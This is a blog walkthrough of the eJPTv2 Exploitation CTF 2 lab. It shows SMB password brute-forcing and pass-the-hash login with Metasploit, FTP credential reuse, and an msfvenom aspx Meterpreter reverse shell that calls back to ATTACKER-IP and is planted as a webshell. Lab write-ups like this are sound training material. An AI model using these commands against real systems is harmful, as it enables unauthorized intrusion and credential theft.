Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Last updated: July 17, 2025

Hi everyone! In this article, we will solve the Host & Network Penetration Testing: Exploitation CTF 2 (eJPTv2). I will not share the flags because I don’t want you to copy and paste them, but rather solve it yourself and follow my instructions, so sit back and read!

Flag 1: It appears that the SMB user ‘tom’ has not changed his password for a very long time.

The question gives us the direct hint that we have to brute-force the password of the SMB user ‘tom’ first of all, just run a nmap scan to identify open ports

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Indeed SMB port is open. Head towards the MSF and we will use the ‘smb_login’ module to Brute force the password

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Enter the User and password wordlist:

set RHOSTS target.ine.local
set SMBUser tom
set PASS_FILE /usr/share/wordlists/metasploit/unix_passwords.txt
set VERBOSE false
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Great! We brute-forced the password; it’s ‘felipse’. Now we will list out the shares of this user by using the smbclient utility

smbclient -U tom -L target.ine.local

Enter the password when prompted!

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Great! ‘HRDocuments’ and ‘ITResources’ are the shares that look interesting! So let’s gain access to the SMB via the ‘HRDocuments’ share

smbclient //<ip>/HRDocuments -U tom
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

There you go! Download the ‘flag1.txt’ file by using the ‘get’ utility

also download the ‘leaked-hashes.txt’ file, as it will be used in the next challenge

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Flag 2: Using the NTLM hash list discovered in the previous challenge, can you compromise the smb user Nancy?

In the previous challenge, we got one more file, ‘leaked-hashes.txt’, we have to download that also, as it contains hashes which will be used to gain access to the user ‘nancy

As we can see, it is a list of hashes

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

To identify which hash is correct for the user ‘nancy,’ we will use the MSF ‘smb_login’ module.

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Enter the username and hash file as the PASS_FILE

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Yes! identified the correct hash of the user ‘nancy

Now we have to set the ‘CreateSession true’ because it will authenticate and create a session for us,

Set the ‘SMBPass’ as the hash that was identified!

It’s the same module ‘smb_login

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

As soon as we run it, it may not display the session we have to manually check the running sessions!

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Use that session by sessions <id>

List all the shares by the command: shares

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

There are the same shares as we identified before, ‘HRDocuments’ and ‘ITResources’. This time, we have to go for the ‘ITResources

Select the share by: shares -i ITResources

Then list out the contents by: ls

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Download both files by the command: download

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Flag 3: I wonder what the hint found in the previous challenge will be useful for!

Yes, look at the hint we got in the previous challenge!

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Yes! We got the credentials of another user!

If you remember, in the nmap scan, we identified that the FTP port is open. These creds will work for it, as there is nothing in the SMB shares.

ftp david@<ip>
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Yes, there is the flag. Download it by using the ‘get’ utility

As this FTP is linked to the web server, the Microsoft server, and the files in this directory also indicate it’s an IIS server, so we can head towards the browser, and we can get the flag there also!

As the file name is ‘flag3.txt’, just head towards it 🙂

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Flag 4: Can you compromise the target machine and retrieve the C://flag4.txt file?

Now we have to compromise the machine. So, as we know that FTP is linked to the web server, and we have the credentials for the FTP, we can easily upload an ‘aspx’ shell to gain access to the machine.

So, firstly, we will generate a reverse shell by using msfvenom

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER-IP LPORT=1234 -f aspx > shell.aspx
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Once the payload is successfully generated, log back in to the FTP using the credentials we got!

And upload the webshell by the command: put shell.aspx

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

Before triggering the webshell, we have to set up the listener on that port

We will use the ‘multi/handler’ MSF module

Set the payload same as used to generate the shell and the PORT number as well

set payload windows/x64/meterpreter/reverse_tcp
set LPORT 1234
Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

And run it, now it will be listening on that port

Head towards the Browser and trigger the webshell by:

http://IP/shell.aspx

And you will receive the reverse connection,

navigate towards the root directory, and there will be the flag!

Host & Network Penetration Testing Exploitation CTF 2 — Walkthrough

And there you go! It was pretty easy. See you in the next Challenge!

Good luck hackers

Leave a Comment

Your email address will not be published. Required fields are marked *